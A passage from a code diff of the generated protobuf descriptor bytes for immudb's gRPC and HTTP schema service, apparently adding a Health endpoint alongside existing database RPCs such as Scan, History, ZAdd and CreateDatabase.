0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a, 0x2f, 0x64, + 0x62, 0x2f, 0x67, 0x65, 0x74, 0x61, 0x6c, 0x6c, 0x12, 0x59, 0x0a, 0x07, 0x45, 0x78, 0x65, 0x63, + 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x16, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x10, 0x3a, 0x01, 0x2a, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x65, 0x78, 0x65, 0x63, + 0x61, 0x6c, 0x6c, 0x12, 0x4f, 0x0a, 0x04, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, 0x6e, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, + 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x3a, 0x01, 0x2a, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, + 0x73, 0x63, 0x61, 0x6e, 0x12, 0x58, 0x0a, 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x12, 0x18, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, + 0x79, 0x50, 0x72, 0x65, 0x66, 0x69, 0x78, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, + 0x6e, 0x74, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x12, 0x12, 0x2f, 0x64, 0x62, 0x2f, + 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x2f, 0x7b, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x7d, 0x12, 0x53, + 0x0a, 0x08, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, + 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x14, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x12, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x75, 0x6e, 0x74, + 0x61, 0x6c, 0x6c, 0x12, 0x4a, 0x0a, 0x06, 0x54, 0x78, 0x42, 0x79, 0x49, 0x64, 0x12, 0x18, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x0d, 0x12, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, 0x2f, 0x7b, 0x74, 0x78, 0x7d, 0x12, + 0x73, 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x42, + 0x79, 0x49, 0x64, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, + 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x12, 0x16, 0x2f, 0x64, + 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x74, 0x78, 0x2f, + 0x7b, 0x74, 0x78, 0x7d, 0x12, 0x50, 0x0a, 0x06, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1c, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, + 0x78, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x15, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4c, + 0x69, 0x73, 0x74, 0x22, 0x11, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x3a, 0x01, 0x2a, 0x22, 0x06, + 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, 0x12, 0x58, 0x0a, 0x07, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, + 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, + 0x3a, 0x01, 0x2a, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x68, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, + 0x12, 0x6b, 0x0a, 0x0a, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x20, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, + 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x22, 0x18, 0x92, 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, + 0x12, 0x0b, 0x2f, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x69, 0x6e, 0x66, 0x6f, 0x12, 0x55, 0x0a, + 0x06, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, - 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x17, 0x92, 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x68, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, - 0x5d, 0x0a, 0x0c, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, - 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, - 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6d, 0x6d, 0x75, 0x74, 0x61, 0x62, 0x6c, - 0x65, 0x53, 0x74, 0x61, 0x74, 0x65, 0x22, 0x16, 0x92, 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x0b, 0x12, 0x09, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x74, 0x61, 0x74, 0x65, 0x12, 0x65, - 0x0a, 0x0c, 0x53, 0x65, 0x74, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x1f, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, - 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x1b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, - 0x3a, 0x01, 0x2a, 0x22, 0x10, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x72, 0x65, 0x66, 0x65, - 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x88, 0x01, 0x0a, 0x16, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, - 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, - 0x12, 0x29, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x52, 0x65, 0x66, 0x65, 0x72, - 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, - 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x26, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x20, - 0x3a, 0x01, 0x2a, 0x22, 0x1b, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, - 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x65, 0x74, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, - 0x12, 0x50, 0x0a, 0x04, 0x5a, 0x41, 0x64, 0x64, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x13, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x3a, 0x01, 0x2a, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x7a, 0x61, - 0x64, 0x64, 0x12, 0x73, 0x0a, 0x0e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, - 0x5a, 0x41, 0x64, 0x64, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5a, - 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, + 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x14, + 0x92, 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x09, 0x12, 0x07, 0x2f, 0x68, 0x65, + 0x61, 0x6c, 0x74, 0x68, 0x12, 0x68, 0x0a, 0x0e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x25, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x17, 0x92, 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x0c, 0x12, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x68, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x5d, + 0x0a, 0x0c, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x16, + 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6d, 0x6d, 0x75, 0x74, 0x61, 0x62, 0x6c, 0x65, + 0x53, 0x74, 0x61, 0x74, 0x65, 0x22, 0x16, 0x92, 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x0b, 0x12, 0x09, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x74, 0x61, 0x74, 0x65, 0x12, 0x65, 0x0a, + 0x0c, 0x53, 0x65, 0x74, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x1f, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, + 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, + 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x1b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x3a, + 0x01, 0x2a, 0x22, 0x10, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x72, 0x65, 0x66, 0x65, 0x72, + 0x65, 0x6e, 0x63, 0x65, 0x12, 0x88, 0x01, 0x0a, 0x16, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, + 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, + 0x29, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, + 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, - 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x3a, - 0x01, 0x2a, 0x22, 0x13, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, - 0x6c, 0x65, 0x2f, 0x7a, 0x61, 0x64, 0x64, 0x12, 0x53, 0x0a, 0x05, 0x5a, 0x53, 0x63, 0x61, 0x6e, - 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x45, - 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x3a, 0x01, - 0x2a, 0x22, 0x09, 0x2f, 0x64, 0x62, 0x2f, 0x7a, 0x73, 0x63, 0x61, 0x6e, 0x12, 0x5b, 0x0a, 0x0e, - 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x17, + 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x26, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x20, 0x3a, + 0x01, 0x2a, 0x22, 0x1b, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, + 0x6c, 0x65, 0x2f, 0x73, 0x65, 0x74, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, + 0x50, 0x0a, 0x04, 0x5a, 0x41, 0x64, 0x64, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x13, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x0d, 0x3a, 0x01, 0x2a, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x7a, 0x61, 0x64, + 0x64, 0x12, 0x73, 0x0a, 0x0e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5a, + 0x41, 0x64, 0x64, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5a, 0x41, + 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, + 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x3a, 0x01, + 0x2a, 0x22, 0x13, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, + 0x65, 0x2f, 0x7a, 0x61, 0x64, 0x64, 0x12, 0x53, 0x0a, 0x05, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x12, + 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x45, 0x6e, + 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x3a, 0x01, 0x2a, + 0x22, 0x09, 0x2f, 0x64, 0x62, 0x2f, 0x7a, 0x73, 0x63, 0x61, 0x6e, 0x12, 0x5b, 0x0a, 0x0e, 0x43, + 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x17, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x63, + 0x72, 0x65, 0x61, 0x74, 0x65, 0x88, 0x02, 0x01, 0x12, 0x6b, 0x0a, 0x12, 0x43, 0x72, 0x65, 0x61, + 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, 0x74, 0x68, 0x12, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, - 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, - 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, - 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x88, 0x02, 0x01, 0x12, 0x6b, 0x0a, 0x12, 0x43, 0x72, 0x65, - 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, 0x74, 0x68, 0x12, - 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, - 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, - 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x1c, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x13, - 0x3a, 0x01, 0x2a, 0x22, 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x77, - 0x69, 0x74, 0x68, 0x88, 0x02, 0x01, 0x12, 0x79, 0x0a, 0x10, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, - 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x56, 0x32, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, - 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x3a, - 0x01, 0x2a, 0x22, 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x2f, 0x76, - 0x32, 0x12, 0x6c, 0x0a, 0x0c, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 